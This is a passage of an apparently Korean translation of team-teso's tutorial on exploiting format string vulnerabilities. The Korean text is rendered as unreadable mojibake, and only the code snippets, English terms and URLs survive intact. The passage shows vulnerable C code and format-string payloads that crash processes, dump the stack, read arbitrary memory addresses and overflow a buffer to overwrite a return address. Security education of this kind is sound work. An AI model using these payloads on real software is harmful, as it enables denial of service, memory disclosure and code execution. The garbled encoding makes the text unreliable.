¾Æ´ÏÁö¸¸ ¹ö±×¸¦ ÀͽºÇ÷ÎÀÕÇÒ ¼ö ÀÖµµ·Ï ¸¸µç´Ù. ÀÌ°Í ¹èÈÄÀÇ ÀϹÝÀûÀÎ ¹®Á¦¸¦ ¿¹ÁõÇϱâ À§ÇØ ÀϹÝÀûÀΠä³Î¸µ ¹®Á¦µé¿¡ ´ëÇÑ ´ÙÀ½ Ç¥¸¦ Á¦½ÃÇÑ´Ù. __________________________________________________________________________________________ »óȲ | µ¥ÀÌÅÍ Ã¤³Î | ÅëÁ¦ ä³Î | º¸¾È ¹®Á¦ __________________________________________________________________________________________ ÀüÈ­½Ã½ºÅÛ | ¸ñ¼Ò¸® ¶Ç´Â µ¥ÀÌÅÍ | ÅëÁ¦ Åæ ¶óÀÎ | ÅëÁ¦ Àå¾Ç __________________________________________________________________________________________ PPP ÇÁ·ÎÅäÄÝ | µ¥ÀÌÅÍ Àü¼Û | PPP ¸í·É | Æ®·¡ÇÈ ÁõÆø __________________________________________________________________________________________ ½ºÅà | µ¥ÀÌÅÍ ½×±â | ¸®ÅÏ ¾îµå·¹½º | retaddr ÅëÁ¦ __________________________________________________________________________________________ Malloc ¹öÆÛ | µ¥ÀÌÅÍ ÇÒ´ç | °ü¸® Á¤º¸ | ¸Þ¸ð¸®¿¡ ¾²±â __________________________________________________________________________________________ Æ÷¸Ë ½ºÆ®¸µ | ½ºÆ®¸µ Ãâ·Â | Æ÷¸Ë ÆÄ¶ó¹ÌÅÍ | Æ÷¸Ë ÇÔ¼ö ÅëÁ¦ __________________________________________________________________________________________ ƯÁ¤ÇÑ Æ÷¸Ë ½ºÆ®¸µ Ãë¾àÁ¡À¸·Î ´Ù½Ã µ¹¾Æ°¡¼­, Æ÷¸Ë ½ºÆ®¸µ Ãë¾àÁ¡ÀÌ ¹ß»ýÇÒ ¼ö ÀÖ´Â µÎ °¡Áö ÀüÇüÀûÀÎ »óȲÀÌ ÀÖ´Ù. [ŸÀÔ 1] ¸®´ª½ºÀÇ rpc.statd, IRIXÀÇ telnetd µî¿¡¼­Ã³·³, ¿©±â¼­ Ãë¾àÁ¡Àº syslog ÇÔ¼öÀÇ µÎ ¹øÂ° ÆÄ¶ó¹ÌÅÍ¿¡ ÀÖ´Ù. ÀÌ Æ÷¸Ë ½ºÆ®¸µÀº ºÎºÐÀûÀ¸·Î usersuppliedÀÌ´Ù. char tmpbuf[512]; snprintf (tmpbuf, sizeof (tmpbuf), "foo: %s", user); tmpbuf[sizeof (tmpbuf) - 1] = '\0'; syslog (LOG_NOTICE, tmpbuf); [ŸÀÔ 2] wu-ftpd, Qualcomm Popper QPOP 2.53¿¡¼­Ã³·³ ¿©±â¼­ ºÎºÐÀû ¶Ç´Â ¿ÏÀüÈ÷ usersupplied ½ºÆ®¸µÀº Æ÷¸Ë ÇÔ¼ö¿¡ °£Á¢ÀûÀ¸·Î Àü´ÞµÈ´Ù. int Error (char *fmt, ...); ... int someotherfunc (char *user) { ... Error (user); ... } ... ù ¹øÂ° ŸÀÔÀÇ Ãë¾àÁ¡µéÀº ÀÚµ¿È­µÈ Åøµé(¿¹¸¦ µé¾î, pscan ¶Ç´Â TESOgcc)¿¡ ÀÇÇØ ¾ÈÀüÇÏ°Ô Å½ÁöµÉ ¼ö ÀÖ´Â ¹Ý¸é, µÎ ¹øÂ° ŸÀÔÀÇ Ãë¾àÁ¡µéÀº ŽÁö ÅøÀÌ ÇÔ¼ö ¡°Error"°¡ Æ÷¸Ë ÇÔ¼öó·³ »ç¿ëµÈ´Ù´Â °ÍÀ» ¾Ë°í ÀÖÀ» ¶§¸¸ ¹ß°ßµÉ ¼ö ÀÖ´Ù. * 3.1 ÀÌÁ¦ ¿ì¸®´Â ¹«¾ùÀ» ÅëÁ¦ÇÒ °ÍÀΰ¡? Æ÷¸Ë ½ºÆ®¸µÀ» °ø±ÞÇÏ´Â °ÍÀ» ÅëÇØ ¿ì¸®´Â Æ÷¸Ë ÇÔ¼öÀÇ ÀÛµ¿À» ÅëÁ¦ÇÒ ¼ö ÀÖ´Ù. ¿ì¸®´Â Áö±Ý Á¤È®ÇÏ°Ô ¹«¾ùÀ» ÅëÁ¦ÇÒ ¼ö ÀÖÀ¸¸ç, ±×¸®°í ¿ÏÀüÇÑ ÅëÁ¦±ÇÀ» Àå¾ÇÇϱâ À§ÇØ ÀÌ ºÎºÐÀûÀÎ ÅëÁ¦±ÇÀ» ¾î¶»°Ô »ç¿ëÇÒ °ÍÀΰ¡¿¡ ´ëÇØ ¾Ë¾Æº¼ °ÍÀÌ´Ù. * 3.2 ÇÁ·Î±×·¥ÀÇ ÆÄ±« Æ÷¸Ë ½ºÆ®¸µ Ãë¾àÁ¡À» »ç¿ëÇÑ °£´ÜÇÑ °ø°ÝÀº ÇÁ·Î¼¼½º°¡ Á×°Ô ¸¸µå´Â °ÍÀÌ´Ù. À̰ÍÀº ¿¹¸¦ µé¾î core¸¦ ´ýÆÛÇÏ´Â µ¥¸óÀ» Á×À̴µ¥ À¯¿ëÇÏ°Ô »ç¿ëµÉ ¼ö ÀÖ´Ù. ¶Ç´Â ¸î¸î ³×Æ®¿öÅ© °ø°Ý¿¡¼­ DNS ½ºÇªÇÎÀ» ÇÒ ¶§ ¾î¶² ¼­ºñ½º°¡ ¹ÝÀÀÇÏÁö ¾Êµµ·Ï Çϴµ¥µµ À¯¿ëÇÒ °ÍÀÌ´Ù. ÇÏÁö¸¸, ±× ÇÁ·Î¼¼½º¸¦ Á×À̴µ¥ ÀÖ¾î ¸î °¡Áö Èï¹Ì·Î¿î ºÎºÐÀÌ ÀÖÀ» ¼ö ÀÖ´Ù. °ÅÀÇ ¸ðµç À¯´Ð½º ½Ã½ºÅÛ¿¡¼­ ºÒ¹ýÀûÀÎ Æ÷ÀÎÅÍ Á¢±ÙÀº Ä¿³Î¿¡ ÀÇÇØ Æ÷ÂøµÇ°í, ±× ÇÁ·Î¼¼½º´Â SIGSEGV ½Ã±×³ÎÀ» º¸³¾ °ÍÀÌ´Ù. º¸Åë ±× ÇÁ·Î±×·¥Àº Á¾·áµÇ°í, core¸¦ ´ýÆÛÇÒ °ÍÀÌ´Ù. Æ÷¸Ë ½ºÆ®¸µÀ» ÀÌ¿ëÇÔÀ¸·Î½á, ´ÙÀ½°ú °°Àº Æ÷¸Ë ½ºÆ®¸µÀ» ´ÜÁö °ø±ÞÇÏ¿© À¯È¿ÇÏÁö ¾ÊÀº Æ÷ÀÎÅÍ Á¢±ÙÀ» ½±°Ô ÇÒ ¼ö ÀÖ´Ù. printf ("%s%s%s%s%s%s%s%s%s%s%s%s"); ¡®%s¡¯°¡ ¸¹Àº ´Ù¸¥ µ¥ÀÌÅͰ¡ ÀúÀåµÇ¾î ÀÖ´Â ½ºÅà »ó¿¡ °ø±ÞµÇ´Â ÁּҷκÎÅÍ ¸Þ¸ð¸®¸¦ ¿ª½Ã º¸¿©Áֱ⠶§¹®¿¡ ¸ÊÇεǾî ÀÖÁö ¾ÊÀº ¡®ºÒ¹ýÀûÀΡ¯ ÁּҷκÎÅÍ ÀÐÀ» ±âȸ°¡ ³ô¾ÆÁø´Ù. ¶ÇÇÑ ´ëºÎºÐÀÇ Æ÷¸Ë ÇÔ¼ö ±¸ÇöÀº ¡®%n' ÆÄ¶ó¹ÌÅ͸¦ Á¦°øÇϸç, ±×°ÍÀº ½ºÅà »óÀÇ ÁÖ¼Ò¿¡ ¾²±â À§ÇØ »ç¿ëµÉ ¼ö ÀÖ´Ù. ¸¸¾à ±×°ÍÀÌ ¸î Â÷·Ê ÀÌ·ç¾îÁö¸é °ÅÀÇ È®½ÇÈ÷ ÇÁ·Î¼¼½º¸¦ Á×°Ô ¸¸µé °ÍÀÌ´Ù. * 3.3 ÇÁ·Î¼¼½º ¸Þ¸ð¸® º¸±â ¸¸¾à ¿ì¸®°¡ Æ÷¸Ë ÇÔ¼öÀÇ ÀÀ´ä(Ãâ·Â ½ºÆ®¸µ)À» º¼ ¼ö ÀÖ´Ù¸é ¿ì¸®´Â ±×°ÍÀ¸·ÎºÎÅÍ À¯¿ëÇÑ Á¤º¸¸¦ ¼öÁýÇÒ ¼ö ÀÖÀ¸¸ç(¿Ö³ÄÇÏ¸é ±×°ÍÀº ¿ì¸®°¡ ÅëÁ¦ÇÏ´Â ÇàÀ§ÀÇ Ãâ·ÂÀ̱⠶§¹®¿¡), ±×¸®°í ¿ì¸®´Â ÀÌ °á°ú¸¦ ¿ì¸®ÀÇ Æ÷¸Ë ½ºÆ®¸µÀÌ ¹«¾ùÀ» Çϸç, ÇÁ·Î¼¼½º ¹èÄ¡°¡ ¾î¶»°Ô »ý°å´ÂÁö¿¡ ´ëÇÑ °³·«ÀûÀÎ ³»¿ëÀ» ȹµæÇϴµ¥ »ç¿ëÇÒ ¼ö ÀÖ´Ù. À̰ÍÀº ½ÇÁ¦ °ø°ÝÀÇ offset¸¦ ã°Å³ª ¶Ç´Â °ø°Ý ´ë»ó ÇÁ·Î¼¼½ºÀÇ ½ºÅà ÇÁ·¹ÀÓÀ» À籸¼ºÇÏ´Â °Í°ú °°Àº ´Ù¾çÇÑ ÀÏÀ» À§Çؼ­µµ À¯¿ëÇÒ °ÍÀÌ´Ù. * 3.3.1 ½ºÅà º¸±â ¿ì¸®´Â ´ÙÀ½°ú °°Àº Æ÷¸Ë ½ºÆ®¸µÀ» »ç¿ëÇÏ¿© ½ºÅà ¸Þ¸ð¸®ÀÇ ¸î¸î ºÎºÐÀ» º¼ ¼ö ÀÖ´Ù. printf ("%08x.%08x.%08x.%08x.%08x\n"); À̰ÍÀº Á¦´ë·Î Ãâ·ÂµÇ´Âµ¥, ¿Ö³ÄÇÏ¸é ¿ì¸®°¡ printf ÇÔ¼ö·Î ÇÏ¿©±Ý ½ºÅÃÀ¸·ÎºÎÅÍ ´Ù¼¸ °¡ÁöÀÇ ÆÄ¶ó¹ÌÅ͸¦ °Ë»öÇϰí, ±×°ÍµéÀ» 16Áø¼ö·Î ³ªÅ¸³»¶ó°í Áö½ÃÇ߱⠶§¹®ÀÌ´Ù. ±×·¡¼­ Ãâ·ÂÀº ´ÙÀ½°ú °°À» °ÍÀÌ´Ù. 40012980.080628c4.bffff7a4.00000005.08059c04 À̰ÍÀº ½ºÅÃÀÌ ³·Àº ÁÖ¼Ò·Î Ä¿Áø´Ù´Â °ÍÀ» °¡Á¤Çϰí ÇöÀçÀÇ ½ºÅà ¹Ù´Ú¿¡¼­ºÎÅÍ ½ºÅÃÀÇ ²À´ë±â ÂÊÀ¸·Î Ãâ¹ßÇÏ´Â ½ºÅà ¸Þ¸ð¸®¸¦ ºÎºÐÀûÀ¸·Î ´ýÆÛÇÑ °ÍÀÌ´Ù. Æ÷¸Ë ½ºÆ®¸µ ¹öÆÛÀÇ Å©±â¿Í Ãâ·Â ¹öÆÛÀÇ Å©±â¿¡ µû¶ó ¿©·¯ºÐµéÀº ÀÌ Å×Å©´ÐÀ» »ç¿ëÇÏ¿© ½ºÅà ¸Þ¸ð¸®ÀÇ ´Ù¼Ò Å« ºÎºÐµéÀ» À籸¼ºÇÒ ¼ö ÀÖ´Ù. ¾î¶² °æ¿ì¿¡´Â Àüü ½ºÅà ¸Þ¸ð¸®¸¦ °Ë»öÇÒ ¼öµµ ÀÖÀ» °ÍÀÌ´Ù. ½ºÅÃÀ» ´ýÆÛÇÏ´Â °ÍÀº ÇÁ·Î±×·¥ È帧°ú ·ÎÄà ÇÔ¼ö º¯¼öµé¿¡ ´ëÇÑ Áß¿äÇÑ Á¤º¸¸¦ ±¸ÇÒ ¼ö ÀÖµµ·Ï ÇØÁÖ¸ç, ¼º°øÀûÀÎ °ø°ÝÀ» À§ÇÑ Á¤È®ÇÑ offsetÀ» ã´Âµ¥µµ Å« µµ¿òÀÌ µÉ °ÍÀÌ´Ù. * 3.3.2 ¾î¶² À§Ä¡¿¡¼­ ¸Þ¸ð¸® º¸±â ½ºÅà ¸Þ¸ð¸®¿Í ´Ù¸¥ ¸Þ¸ð¸® À§Ä¡¸¦ º¸´Â °Íµµ °¡´ÉÇÏ´Ù. À̰ÍÀ» À§ÇØ ¿ì¸®´Â Æ÷¸Ë ÇÔ¼ö·Î ÇÏ¿©±Ý ¿ì¸®°¡ Á¦°øÇÒ ¼ö ÀÖ´Â ¾î¶² ÁּҷκÎÅÍ ¸Þ¸ð¸®¸¦ º¸¿©ÁÖµµ·Ï ÇØ¾ßÇÑ´Ù. À̰ÍÀº ¿ì¸®¿¡°Ô µÎ °¡Áö ¹®Á¦¸¦ Á¦½ÃÇÑ´Ù. ù ¹øÂ°, ¿ì¸®´Â ½ºÅà ÆÄ¶ó¹ÌÅͷμ­ ÁÖ¼Ò¸¦ »ç¿ëÇϰí, ±×°÷À¸·ÎºÎÅÍ ¸Þ¸ð¸®¸¦ º¸¿©ÁÖ´Â Æ÷¸Ë ÆÄ¶ó¹ÌÅ͸¦ ã¾Æ¾ß Çϰí, ±×¸®°í ¿ì¸®´Â ±× ÁÖ¼Ò¸¦ Á¦°øÇØ¾ß ÇÑ´Ù. ù ¹øÂ° °æ¿ì¿¡´Â ¿îÀÌ ÁÁÀº ÆíÀÌ´Ù. ¿Ö³ÄÇÏ¸é ¡®%s' ÆÄ¶ó¹ÌÅͰ¡ ±×°ÍÀ» ÇØÁֱ⠶§¹®À̸ç, ±×°ÍÀº ½ºÅà Á¦°ø ÁּҷκÎÅÍ º¸Åë ASCIIZ ½ºÆ®¸µÀÎ ¸Þ¸ð¸®¸¦ º¸¿©ÁØ´Ù. ±×·¡¼­ ³ª¸ÓÁö ¹®Á¦´Â ¡¯¿ì¸®°¡ ½ºÅûóÀÇ ±× ÁÖ¼Ò¸¦ ¾î¶»°Ô ±¸Çϰí, ¿Ã¹Ù¸¥ °÷¿¡ Áý¾î³Ö´Â °ÍÀΰ¡¡®ÀÌ´Ù. ¿ì¸®ÀÇ Æ÷¸Ë ½ºÆ®¸µÀº º¸Åë ½ºÅà ±× ÀÚü¿¡ À§Ä¡ÇÑ´Ù. ±×·¡¼­ ¿ì¸®´Â ÀÌ¹Ì Æ÷¸Ë ½ºÆ®¸µÀÌ ³õ¿©ÀÖ´Â ±× °ø°£¿¡ ´ëÇÑ ¿ÏÀüÇÑ ÅëÁ¦±Ç¿¡ °¡±îÀÌ ´Ù°¡°¡ ÀÖ´Â ¼ÀÀÌ´Ù. Æ÷¸Ë ÇÔ¼ö´Â ³»ºÎÀûÀ¸·Î ÇöÀç Æ÷¸Ë ÆÄ¶ó¹ÌÅÍÀÇ ½ºÅà À§Ä¡¿¡ ´ëÇÑ Æ÷ÀÎÅ͸¦ À¯ÁöÇϰí ÀÖ´Ù. ¸¸¾à ¿ì¸®°¡ ÀÌ Æ÷ÀÎÅͰ¡ ¿ì¸®°¡ ÅëÁ¦ÇÒ ¼ö ÀÖ´Â ¸Þ¸ð¸® °ø°£ ¾ÈÀ¸·Î Áö½ÃÇÏ°Ô ÇÒ ¼ö ÀÖ´Ù¸é ¿ì¸®´Â ¡®%s' ÆÄ¶ó¹ÌÅÍ¿¡ ¾î¶² ÁÖ¼Ò¸¦ Á¦°øÇÒ ¼ö ÀÖ´Ù. ½ºÅà Æ÷ÀÎÅ͸¦ º¯°æÇϱâ À§ÇØ ¿ì¸®´Â ¾Æ·¡¿Í °°Àº Á¤Å©¸¦ ÇÁ¸°ÆÃÇÔÀ¸·Î½á ½ºÅÃÀ» ¡¯dig'ÇÒ ´õ¹Ì ÆÄ¶ó¹ÌÅ͸¦ °£´ÜÈ÷ »ç¿ëÇÒ ¼ö ÀÖ´Ù. printf ("AAA0AAA1_%08x.%08x.%08x.%08x.%08x"); ¡®%08x' ÆÄ¶ó¹ÌÅÍ´Â Æ÷¸Ë ÇÔ¼öÀÇ ³»ºÎ ½ºÅà Æ÷ÀÎÅ͸¦ ½ºÅÃÀÇ ²À´ë±â ÂÊÀ¸·Î Áõ°¡½ÃŲ´Ù. ¾ó¸¶ ÈÄ ½ºÅà Æ÷ÀÎÅÍ´Â ¿ì¸®ÀÇ ¸Þ¸ð¸®(Æ÷¸Ë ½ºÆ®¸µ ±× ÀÚü)¸¦ °¡¸®Å²´Ù. Æ÷¸Ë ÇÔ¼öµéÀº Ç×»ó °¡Àå ³·Àº ½ºÅà ÇÁ·¹ÀÓÀ» À¯ÁöÇϸç, ±×·¡¼­ ¸¸¾à ¿ì¸®ÀÇ ¹öÆÛ°¡ ½ºÅà »ó¿¡ ³õ¿© ÀÖ´Ù¸é ±×°ÍÀº È®½ÇÈ÷ ÇöÀç ½ºÅà Æ÷ÀÎÅÍ À§¿¡ ³õ¿© ÀÖ´Ù. ¸¸¾à ¿ì¸®°¡ ¡¯%08x' ÆÄ¶ó¹ÌÅÍÀÇ ¼ö¸¦ Á¤È®ÇÏ°Ô ¼±ÅÃÇÑ´Ù¸é, ¿ì¸®´Â ¿ì¸®ÀÇ ½ºÆ®¸µ¿¡ '%s'¸¦ Ãß°¡ÇÔÀ¸·Î½á ÀÓÀÇÀÇ ÁּҷκÎÅÍ ¸Þ¸ð¸®¸¦ º¼ ¼ö ÀÖ´Ù. ¿ì¸®°¡ ¿¹·Î µç ÁÖ¼Ò´Â ¸ÂÁö ¾ÊÀ¸¸ç, AAA0ÀÌ µÉ °ÍÀÌ´Ù. ±×°ÍÀ» ½ÇÁ¦ÀÇ °ÍÀ¸·Î ´ëÃ¼ÇØº¸ÀÚ. ¿¹: address = 0x08480110 address (encoded as 32 bit le string): "\x10\x01\x48\x08" printf ("\x10\x01\x48\x08_%08x.%08x.%08x.%08x.%08x|%s|"); À̰ÍÀº NUL ¹ÙÀÌÆ®°¡ µµ´ÞÇÒ ¶§±îÁö 0x08480110·ÎºÎÅÍ ¸Þ¸ð¸®¸¦ ´ýÆÛÇÒ °ÍÀÌ´Ù. ÀÌ ¸Þ¸ð¸® ÁÖ¼Ò¸¦ ¿ªµ¿ÀûÀ¸·Î Áõ°¡½ÃÅ´À¸·Î½á ¿ì¸®´Â Àüü ÇÁ·Î¼¼½º °ø°£À» ¾Ë¾Æ³¾ ¼ö ÀÖ´Ù. ¿ø°Ý ÇÁ·Î¼¼½ºÀÇ À̹ÌÁö °°Àº coredump¸¦ ¸¸µé°í, ±×°ÍÀ¸·ÎºÎÅÍ ¹ÙÀ̳ʸ®¸¦ À籸¼ºÇÏ´Â °Íµµ ½ÉÁö¾î °¡´ÉÇÏ´Ù.[ Silvio, ¡°ELF executable reconstruction from a core image, http://www.big.net.au/%7esilvio/core-reconstruction. txt ] ±×°ÍÀº ¶ÇÇÑ ¼º°øÀûÀÌÁö ¸øÇÑ °ø°Ý ½ÃµµÀÇ ¿øÀÎÀ» ã´Âµ¥µµ µµ¿òÀÌ µÈ´Ù. ¸¸¾à ¿ì¸®°¡ 4 ¹ÙÀÌÆ® pops('%08x')¸¦ »ç¿ëÇÏ¿© Á¤È®ÇÑ Æ÷¸Ë ½ºÆ®¸µ °æ°è¿¡ µµ´ÞÇÒ ¼ö ¾ø´Ù¸é, ¿ì¸®´Â Çϳª, µÑ ¶Ç´Â ¼¼ °³ÀÇ Á¤Å© ¹®ÀÚ¸¦ ÇÁ¸®ÆæµùÇÏ¿©(prepending) Æ÷¸Ë ½ºÆ®¸µÀ» ¸Þ¿ö¾ß ÇÑ´Ù. À̰ÍÀº ¹öÆÛ ¿À¹öÇ÷οì ÀͽºÇ÷ÎÀÕ¿¡¼­ Á¤·Ä°ú À¯»çÇÏ´Ù. ****************************************************************************************** ÀÌ ¹®¼­´Â team-tesoÀÇ scut°¡ ÀÛ¼ºÇÑ ¡°Exploiting Format String Vulnerabilities¡±À» ¹ø¿ª ¹× ÆíÁýÀ» ÅëÇØ ÀÛ¼ºÇÑ °ÍÀÌ´Ù. ¹èÆ÷´Â ÀÚÀ¯·Ó°Ô ÇÒ ¼ö ÀÖÀ¸¸ç, Ãâó¸¦ ¹Ýµå½Ã ¹àÇôÁÖ±æ ¹Ù¶õ´Ù. ¿ÀŸ ¹× ¿À·ù°¡ ÀÖÀ¸¸é ÁöÀûÇØÁֽñæ... ¿ø¹®Àº http://www.wowsecurity.net/source/formatstring.pdf¸¦ Âü°íÇϽñæ. Á¦¸ñ: Æ÷¸Ë ½ºÆ®¸µ Ãë¾àÁ¡ °ø°Ý(¹öÀü: 1.2) ¹ø¿ª ¹× ÆíÁý: vangelis(http://www.wowhacker.org) ****************************************************************************************** 3.4. ÀÓÀÇÀÇ ¸Þ¸ð¸® µ¤¾î¾²±â °ø°ÝÀº ¾î¶² ÇÁ·Î¼¼½ºÀÇ ¸í·É(instruction) Æ÷ÀÎÅÍÀÇ ÅëÁ¦±ÇÀ» Àå¾ÇÇÏ´Â °ÍÀÌ´Ù. ´ëºÎºÐÀÇ °æ¿ì ¸í·É Æ÷ÀÎÅÍ(Á¾Á¾ IP ¶Ç´Â PC¶ó´Â À̸§À» °¡Áü)´Â CPU¿¡¼­ ·¹Áö½ºÅÍÀ̸ç, Á÷Á¢ÀûÀ¸·Î º¯°æµÉ ¼ö ¾ø´Ù. ¿Ö³ÄÇϸé ÄÄÇ»ÅÍ ½Ã½ºÅÛ¸¸ÀÌ ±×°ÍÀ» ¹Ù²Ü ¼ö Àֱ⠶§¹®ÀÌ´Ù. ÇÏÁö¸¸ ¸¸¾à ¿ì¸®°¡ ±×·± ½Ã½ºÅÛ ¸í·É¾î¸¦ ³»¸± ¼ö ÀÖ´Ù¸é ¿ì¸®´Â ÀÌ¹Ì ÅëÁ¦±ÇÀ» °¡Áú Çʿ䰡 ÀÖ´Ù. ±×·¡¼­ ¿ì¸®´Â Á÷Á¢ÀûÀ¸·Î ±× ÇÁ·Î¼¼½º¿¡ ´ëÇÑ ÅëÁ¦±ÇÀ» °¡Áú ¼ö ¾ø´Ù. º¸Åë, ±× ÇÁ·Î¼¼½º´Â °ø°ÝÀÚ°¡ ÇöÀç °¡Áö°í ÀÖ´Â ±ÇÇÑ ÀÌ»óÀÇ ±ÇÇÑÀ» °¡Áö°í ÀÖ´Ù. ´ë½Å ¿ì¸®´Â ¸í·É Æ÷ÀÎÅ͸¦ º¯°æÇÒ ÁöħµéÀ» ã¾Æ¾ßÇϸç, ±×¸®°í ¾î¶»°Ô ÀÌ ÁöħµéÀÌ ±×°ÍÀ» º¯°æÇÒ °ÍÀΰ¡¿¡ ´ëÇÑ ¿µÇâ·ÂÀ» °¡Áö°í ÀÖ¾î¾ß ÇÑ´Ù. À̰ÍÀº º¹ÀâÇÏ°Ô µé¸±Áö ¸ð¸£Áö¸¸ ´ëºÎºÐÀÇ ±×°ÍÀº °æ¿ì ¾ÆÁÖ ½±´Ù. ¿Ö³ÄÇÏ¸é ¸Þ¸ð¸®·ÎºÎÅÍ ¸í·É Æ÷ÀÎÅ͸¦ °¡Áö°í ±×°ÍÀ¸·Î Á¡ÆÛÇÏ´Â ÁöħµéÀÌ ÀÖ´Ù. ±×·¡¼­ ´ëºÎºÐÀÇ °æ¿ì Áöħ Æ÷ÀÎÅͰ¡ ÀúÀåµÇ¾î ÀÖ´Â ¸Þ¸ð¸®ÀÇ ÀÌ ºÎºÐ¿¡ ´ëÇÑ ÅëÁ¦±ÇÀº Áöħ Æ÷ÀÎÅÍ ±× ÀÚü¿¡ ´ëÇÑ ÅëÁ¦±Ç¿¡ ´ëÇÑ ÇÁ·Î¼¼½º(processor)ÀÌ´Ù. ´ÙÀ½Àº ´ëºÎºÐÀÇ ¹öÆÛ ¿À¹öÇ÷ο찡 ÀÛµ¿Çϴ°¡ÀÇ ¿ø¸®ÀÌ´Ù. µÎ ´Ü°èÀÇ ÇÁ·Î¼¼½º¿¡¼­, ù ¹øÂ° ÀúÀåµÈ Áöħ Æ÷ÀÎÅͰ¡ µ¤¾î¾²À̰í, ±×·± ´ÙÀ½ ±× ÇÁ·Î±×·¥Àº °ø°ÝÀÚ°¡ Á¦°øÇÑ ÁÖ¼Ò¿¡ ÅëÁ¦±ÇÀ» Àü¼ÛÇÏ´Â ÇÕ¹ýÀûÀÎ ÁöħÀ» ½ÇÇàÇÑ´Ù. ¿ì¸®´Â Æ÷¸Ë ½ºÆ®¸µ Ãë¾àÁ¡À» »ç¿ëÇÏ¿© À̰ÍÀ» ¼ºÃëÇÏ´Â ´Ù¸¥ ¹æ¹ýµéÀ» »ìÆìº¼ °ÍÀÌ´Ù. 3.4.1. °ø°Ý - ¹öÆÛ ¿À¹öÇ÷οì¿Í À¯»çÇÑ °ø°Ý Æ÷¸Ë ½ºÆ®¸µ Ãë¾àÁ¡Àº °¡²û ¹öÆÛ ±æÀÌ Á¦ÇÑ¿¡ °üÇÑ ¹æ¹ýÀ» Á¦°øÇϰí, ÀϹÝÀûÀÎ ¹öÆÛ ¿À¹öÇ÷οì¿Í ºñ½ÁÇÑ °ø°ÝÀ» Çã¿ëÇÑ´Ù. ¾Æ·¡ÀÇ ÄÚµå´Â QPOP 2.53¿Í bftpd¿¡¼­ ³ª¿À´Â °ÍÀÌ´Ù. { char outbuf[512]; char buffer[512]; sprintf (buffer, "ERR Wrong command: %400s", user); sprintf (outbuf, buffer); } ÀÌ¿Í °°Àº °æ¿ì´Â ½ÇÁ¦ Äڵ忡¼­´Â ¾ÆÁÖ ±íÀº °÷¿¡ ¼û¾îÁ® ÀÖÀ¸¸ç, À§ÀÇ º¸±âó·³ ºÐ¸íÇÏ°Ô º¸ÀÌÁö´Â ¾Ê´Â´Ù. Ưº°ÇÑ Æ÷¸Ë ½ºÆ®¸µÀ» Á¦°øÇÔÀ¸·Î½á ¡®%400s'ÀÇ ÇѰ踦 ¿ìȸÇÒ ¼ö ÀÖ´Ù. "%497d\x3c\xd3\xff\xbf" ¸ðµç °ÍÀÌ ÀϹÝÀûÀÎ ¹öÆÛ ¿À¹öÇ÷οì ÀͽºÇ÷ÎÀÕ ½ºÆ®¸µ°ú ºñ½ÁÇϰí, ´ÜÁö ¾ÕÀÇ '%497d¡®¸¸ÀÌ ´Ù¸£´Ù. ÀϹÝÀûÀÎ ¹öÆÛ ¿À¹öÇ÷ο쿡¼­ ¿ì¸®´Â ½ºÅûóÀÇ ÇÔ¼ö ÇÁ·¹ÀÓÀÇ ¸®ÅÏ ÁÖ¼Ò¸¦ µ¤¾î¾´´Ù. ÀÌ ÇÁ·¹ÀÓÀ» ¼ÒÀ¯ÇÑ ÇÔ¼ö°¡ ¸®ÅÏÇÏ¸é ±×°ÍÀº ¿ì¸®°¡ °ø±ÞÇÑ ÁÖ¼Ò¿¡ ¸®ÅϽÃŲ´Ù. ±× ÁÖ¼Ò´Â '' °ø°£ ³»ÀÇ ¾îµò°¡¸¦ ÁöĪÇÑ´Ù. ÀÌ °ø°Ý ¹æ¹ý¿¡ ´ëÇØ ¼­¼úÇϰí ÀÖ´Â ÁÁÀº ¹®¼­µéÀÌ ÀÖÀ¸¸ç, ¸¸¾à ÀÌ º¸±â°¡ ¿©·¯ºÐ¿¡°Ô ÃæºÐÇÏÁö ¾Ê´Ù¸é Plasmoid/THC, ¡°Stack overflows¡±, http://www.thehackerschoice.com/papers/OVERFLOW.TXTÀ» Âü°íÇØ¶ó. ±×°ÍÀº 497°³ÀÇ ¹®ÀÚ ±æÀÌÀÇ ½ºÆ®¸µÀ» ¸¸µç´Ù. ¿¡·¯ ½ºÆ®¸µ(¡°Error Wrong command: ")°ú ÇÔ²² À̰ÍÀº outbuf ¹öÆÛ¸¦ 4¹ÙÀÌÆ® ÃʰúÇÑ´Ù. ºñ·Ï ¡®user' ½ºÆ®¸µÀÌ 400 ¹ÙÀÌÆ®¸¸ Çã¿ëÇϱ⠶§¹®¿¡ ¿ì¸®´Â Æ÷¸Ë ½ºÆ®¸µ ÆÄ¶ó¹ÌÅ͸¦ ¾Ç¿ëÇÔÀ¸·Î½á ±×°ÍÀÇ ±æÀ̸¦ È®ÀåÇÒ ¼ö ÀÖ´Ù. µÎ ¹øÂ° sprintf´Â ±æÀ̸¦ üũÇÏÁö ¾Ê±â ¶§¹®¿¡ À̰ÍÀº outbufÀÇ °æ°è¸¦ ħÀÔÇϴµ¥ »ç¿ëµÉ ¼ö ÀÖ´Ù. Áö±Ý ¿ì¸®´Â ¸®ÅÏ ¾îµå·¹½º(0xbfffd33c)¸¦ ¾²°í, ±×°ÍÀ» ¿¾³¯ ¹æ½ÄÀ¸·Î ÀͽºÇ÷ÎÀÕÇÑ´Ù. %50d, %50f, ¶Ç´Â %50só·³ ¿ø·¡ÀÇ Æ÷¸Ë ½ºÆ®¸µÀ» ¡¯½ºÆ®·¹Äª¡®ÇÏ´Â °ÍÀ» Çã¿ëÇÏ´Â ¾î¶² Æ÷¸Ë ÆÄ¶ó¹ÌÅͰ¡ ÇÒ °Íó·³, ¾î¶² Æ÷ÀÎÅ͸¦ dereferenceÇÏÁö ¾Ê°Å³ª 0À¸·Î ºÐ·ùÇÏ´Â °ÍÀ» ¾ß±âÇÒ ¼ö ÀÖ´Â ÆÄ¶ó¹ÌÅ͸¦ ¼±ÅÃÇÏ´Â °ÍÀÌ ¹Ù¶÷Á÷ÇÏ´Ù. À̰ÍÀº %f¿Í %s¸¦ Á¦¿ÜÇÑ´Ù. ¿ì¸®´Â Á¤¼ö Ãâ·Â ÆÄ¶ó¹ÌÅÍ %d, %u, ±×¸®°í %x¿Í ³²°ÔµÈ´Ù. GNU C ¶óÀ̺귯¸®´Â ¹ö±×¸¦ °¡Áö°í Àִµ¥, ¸¸¾à 1000 ÀÌ»óÀÇ nÀ¸·Î %nd¿Í °°Àº ÆÄ¶ó¹ÌÅ͸¦ »ç¿ëÇÒ °æ¿ì °á±¹ Å©·¡½¬µÇ°Ô µÈ´Ù. À̰ÍÀº ¿ø°ÝÀ¸·Î GNU C 